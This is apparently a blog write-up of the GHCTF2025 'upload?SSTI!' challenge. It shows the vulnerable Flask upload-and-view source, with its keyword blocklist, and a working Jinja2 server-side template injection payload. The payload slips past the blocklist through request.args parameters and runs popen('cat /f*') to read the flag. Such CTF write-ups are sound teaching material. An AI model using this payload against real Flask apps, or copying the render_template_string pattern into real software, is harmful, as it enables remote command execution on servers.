GHCTF2025 upload?SSTI! Solution

326 Views
No Comments

A total of 3896 characters, expected to take 10 minutes to complete reading.

Title

Title to the source code:

import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])

def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())

        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": " 未上传文件 "}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": " 请选择文件 "}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)

            # 返回文件路径(绝对路径)return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": " 文件类型错误 "}), 400

    # GET 请求显示上传表单(可选)return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description=" 无效文件名 ")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description=" 禁止访问的路径 ")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description=" 文件不存在 ")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title> 查看文件内容 </title>
        </head>
        <body>
            <h1> 文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>© 2025 文件查看器 </p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f" 文件查看失败: {str(e)}")
        abort(500, description=" 文件查看失败:{} ".format(str(e)))

# 错误处理(可选)@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404

@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403

if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

Ideas

Read the source code can be analyzed, uploaded file rendering will appear Template Injection The loophole. There are still many types of files allowed to be uploaded. Let's try uploading them. md file.

GHCTF2025 upload?SSTI! Solution

and then visithttp://node2.anna.nssctf.cn:28138/file/test.md(see source path), with echo:

GHCTF2025 upload?SSTI! Solution

But source code dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',] These keywords are blocked, but not blocked. request, we use directlyrequest.args.xxx Obtain xxx value, which can be bypassed.

Let's change the file content ()[request.args.class]and then useGET Incomingclass=__class__This is equivalent to execution.().__class__. No problem:

GHCTF2025 upload?SSTI! Solution

Shielded. flag Key words, let's bypass this:cat /f*.

problem solving

Research is easy to understand, primitive Payload Yes:

"".__class__.__base__.__subclasses__()[138].__init__.__globals__["popen"]("cat /flag").read()

Change the blocked word,Final Payload:

{{""[request.args.class][request.args.base][request.args.subclass]()[137][request.args.init][request.args.global]["popen"]("cat /f*").read()}}

and incomingGET:

class=__class__&base=__base__&subclass=__subclasses__&init=__init__&global=__globals__

Done!

GHCTF2025 upload?SSTI! Solution
END
 0
Comment(No Comments)
验证码
en_USEnglish